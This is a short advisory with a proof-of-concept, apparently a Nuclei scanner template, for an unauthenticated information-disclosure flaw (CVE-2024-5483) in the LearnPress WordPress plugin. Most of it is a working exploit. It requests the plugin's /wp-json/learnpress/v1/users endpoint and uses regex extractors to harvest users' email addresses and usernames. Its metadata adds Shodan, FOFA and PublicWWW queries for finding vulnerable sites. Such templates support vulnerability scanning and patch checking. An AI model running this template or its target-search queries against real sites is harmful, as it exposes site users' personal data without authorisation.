LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by incorrect implementation of get_items_permissions_check function in all versions up to 4.2.6.8, letting unauthenticated attackers extract user emails and basic information.
PoC
id: CVE-2024-5483
info:
name: LearnPress < 4.2.6.8.1 - Information Disclosure
author: pussycat0x
severity: medium
description: |
LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by incorrect implementation of get_items_permissions_check function in all versions up to 4.2.6.8, letting unauthenticated attackers extract user emails and basic information.
impact: |
Unauthenticated attackers can access sensitive user information, including emails, leading to privacy breaches.
remediation: Update to version 4.2.6.9 or later.
reference:
- https://wpscan.com/vulnerability/1f253156-333b-4be6-b727-06237567be1e/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-5483
epss-score: 0.01008
epss-percentile: 0.61341
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
vendor: thimpress
product: learnpress
framework: wordpress
publicwww-query: "/wp-content/plugins/learnpress/"
fofa-query: body="/wp-content/plugins/learnpress/"
shodan-query: http.html:"/wp-content/plugins/learnpress/"
tags: cve,cve2024,wordpress,wpscan,wp-plugin,learnpress,vuln,info-leak
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/learnpress/v1/users"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "id","email","username","email")'
condition: and
extractors:
- type: regex
name: user_email
part: body
regex:
- '"(?:email|user_email)"\s*:\s*"([^"@]+@[^"]+)"'
group: 1
internal: true
- type: regex
name: username
part: body
regex:
- '"(?:username|user_login)"\s*:\s*"([^"]+)"'
group: 1
internal: true
- type: dsl
dsl:
- "'Username: ' + username"
- "'Email: ' + user_email"
# digest: 4b0a00483046022100d38ef3c3876c7a6fb1d960b815e82f1f48ef9d4601ec07933be6b84bd1f7b1d9022100ce15633f888789cf5d232265d5ab5655c29e7166b88be0c5d5ee62a63b8316aa:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.